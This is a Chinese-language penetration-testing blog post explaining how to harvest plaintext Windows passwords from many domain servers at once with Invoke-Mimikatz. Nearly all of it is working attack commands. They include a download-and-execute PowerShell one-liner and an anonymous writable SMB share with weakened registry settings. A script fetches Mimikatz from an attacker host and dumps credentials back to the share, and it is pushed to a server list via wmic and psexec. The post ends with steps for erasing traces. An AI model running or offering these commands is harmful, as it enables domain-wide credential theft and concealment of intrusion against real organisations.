使用Invoke-Mimikatz.ps1批量获取windows密码

通常可以使用以下方式获取登陆windows的密码:

1
powershell "IEX (New-Object Net.WebClient).DownloadString('http://dwz.cn/1OropX'); Invoke-Mimikatz -DumpCreds"

通常在域渗透的时候,我们可能想要获得更多的密码,针对server08以后的服务器获取ntds.dit的hash以后还不一定能破解出来,所以可以通过Mimikatz来获取明文密码,但是一台一台登陆去获取会很慢且不方便,所以这里介绍一个批量的方法:

1.创建共享文件夹:

1
2
3
4
cd\
mkdir open
net share open=C:\open /grant:everyone,full
icacls C:\open\ /grant Everyone:(OI)(CI)F /t

修改注册表

1
2
reg change HKLM\System\CurrentControlSet\services\LanmanServer\Parameters NullSessionShares REG_MULTI_SZ open
reg change HKLM\System\CurrentControlSet\Control\Lsa "EveryoneIncludesAnonymous" 1

修改共享目录到open。

2.在共享目录添加下列文件:

  • 1)执行脚本powershellme.cmd,脚本内容:
1
2
powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.11:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.1.11\open\%COMPUTERNAME%.txt 2>&1
ip是设置共享的主机ip地址。

3.运行mongoose,默认开启端口8080

4.执行wmic:

1
wmic /node:@serverlist.txt process call create "\\192.168.1.11\open\powershellme.cmd"

带凭证:

1
wmic /node:@serverlist.txt /user:PROJECTMENTOR\evi1cg /password:123 process call create "\\192.168.1.11\open\powershellme.cmd"

5.在共享目录看各个服务器的密码吧。

6.清除记录:

  • 1)关掉mongoose,并删除
  • 2)net share open /delete
  • 3)删除共享目录及文件
  • 4)修改注册表

PS:可以使用如下命令开启PowerShell remoting:

1
psexec @serverlist.txt -u [admin account name] -p [admin account password] -h -d powershell.exe "enable-psremoting -force"

------本文结束,感谢阅读------